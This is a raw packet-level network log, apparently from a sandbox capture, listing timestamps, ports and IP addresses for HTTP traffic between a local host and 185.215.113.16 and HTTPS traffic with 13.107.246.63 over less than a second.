Nov 28, 2024 13:09:56.532583952 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.532641888 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.532802105 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.533492088 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.533747911 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.533862114 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.534842014 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.534933090 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.535000086 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.536160946 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.536279917 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.536415100 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.537147045 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.537221909 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.537225962 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.538012028 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.541399002 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.549271107 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:56.549303055 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:56.549364090 CET	49746	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:56.549376965 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:56.549391031 CET	49746	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:56.549478054 CET	49746	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:56.552002907 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.552134991 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.552148104 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.552198887 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.552242041 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.552242041 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.553206921 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.553337097 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.553556919 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.554371119 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.554527044 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.554662943 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.555460930 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.555674076 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.555752993 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.556668043 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.556914091 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.556987047 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.557710886 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.557836056 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.557900906 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.558851957 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.558943987 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.560029984 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.560131073 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.560142994 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.561033964 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.561099052 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.561131001 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.561234951 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.562280893 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.562375069 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.562606096 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.563467979 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.563695908 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.564572096 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.564659119 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.564678907 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.564727068 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.565715075 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.565824032 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.566729069 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.566754103 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.567372084 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.567866087 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.567958117 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.568097115 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.568207026 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.569093943 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.569189072 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.569277048 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.570106983 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.570199966 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.570255995 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.571230888 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.571386099 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.571435928 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.572341919 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.572516918 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.572619915 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.573529959 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.573635101 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.573717117 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.574640036 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.574652910 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.574706078 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.575758934 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.575839996 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.576889038 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.576951981 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.577037096 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.577994108 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.578114033 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.578713894 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.579118013 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.579246998 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.579420090 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.580241919 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.580359936 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.580446005 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.581371069 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.581491947 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.581691027 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.582650900 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.582897902 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.583142042 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.583904028 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.583966970 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.584059000 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.584741116 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.584856987 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.584932089 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.585892916 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.586002111 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.586086988 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.586997986 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.587235928 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.587306023 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.588135958 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.588269949 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.588325977 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.589260101 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.589339018 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.589390039 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.590470076 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.590575933 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.590858936 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.591489077 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.591694117 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.591779947 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.592698097 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.592829943 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.592902899 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.593878031 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.594975948 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.595129013 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.595141888 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.595197916 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.596306086 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.596477032 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.596527100 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.597242117 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.597390890 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.597656012 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.598339081 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.598510981 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.598613024 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.599484921 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.599560976 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.599622011 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.600601912 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.600766897 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.600820065 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.601767063 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.601914883 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.601958990 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.602930069 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.635410070 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:56.635431051 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:56.635488033 CET	49746	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:56.635499001 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:56.635524035 CET	49746	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:56.635544062 CET	49746	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:56.659130096 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.686199903 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:56.686223030 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:56.686285019 CET	49746	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:56.686295986 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:56.686327934 CET	49746	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:56.686342001 CET	49746	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:56.723880053 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.723953009 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.724102020 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.724406004 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.724503994 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.724554062 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.725529909 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.725640059 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.725743055 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.726711988 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.726754904 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.726805925 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.727781057 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.727961063 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.728029966 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.728904963 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.729007006 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.729146004 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.730092049 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.730150938 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.730232954 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.731478930 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:56.731498957 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:56.731585026 CET	49746	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:56.731591940 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:56.731604099 CET	49746	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:56.731632948 CET	49746	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:56.743472099 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.743645906 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.744206905 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.744286060 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.744304895 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.744327068 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.745246887 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.745389938 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.746382952 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.746445894 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.746507883 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.747240067 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.747469902 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.747529030 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.747584105 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.748624086 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.748675108 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.748728037 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.749701023 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.749803066 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.750830889 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.750890017 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.750936985 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.751133919 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.751970053 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.752079964 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.752124071 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.753087997 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.753180027 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.753372908 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.754220963 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.754272938 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.754357100 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.755369902 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.755424023 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.755460978 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.756458998 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.756541967 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.756673098 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.757556915 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.757682085 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.757726908 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.758809090 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.758821011 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.758857965 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.759866953 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.760008097 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.760055065 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.760994911 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.761070967 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.761249065 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.762110949 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.762224913 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.763230085 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.763281107 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.763283014 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.763803005 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.764349937 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.764425993 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.764493942 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.764683962 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:56.764704943 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:56.764764071 CET	49746	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:56.764774084 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:56.764839888 CET	49746	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:56.765491009 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.765624046 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.765666008 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.766629934 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.766717911 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.766762972 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.767729044 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.767827988 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.767894983 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.768887043 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.769083977 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.769253969 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.770000935 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.770056009 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.770230055 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.771141052 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.771253109 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.771300077 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.772253990 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.772360086 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.772526979 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.773375988 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.773655891 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.774518967 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.774595022 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.774610996 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.775656939 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.775711060 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.775759935 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.776581049 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.776772976 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.776958942 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.777004004 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.777926922 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.778060913 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.778105021 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.779011965 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.779119968 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.779169083 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.780203104 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.780355930 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.780401945 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.781305075 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.781397104 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.781441927 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.782423973 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.782529116 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.782577991 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.783546925 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.783704042 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.783751965 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.784661055 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.784813881 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.784859896 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.785886049 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.785897017 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.785917044 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:56.785938978 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:56.786005020 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.786005020 CET	49746	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:56.786024094 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:56.786065102 CET	49746	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:56.823028088 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:56.823045969 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:56.823100090 CET	49746	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:56.823112011 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:56.823126078 CET	49746	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:56.823156118 CET	49746	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:56.846934080 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:56.846951962 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:56.847034931 CET	49746	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:56.847043037 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:56.848547935 CET	49746	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:56.857587099 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.866601944 CET	443	49746	13.107.246.63	192.168.2.4
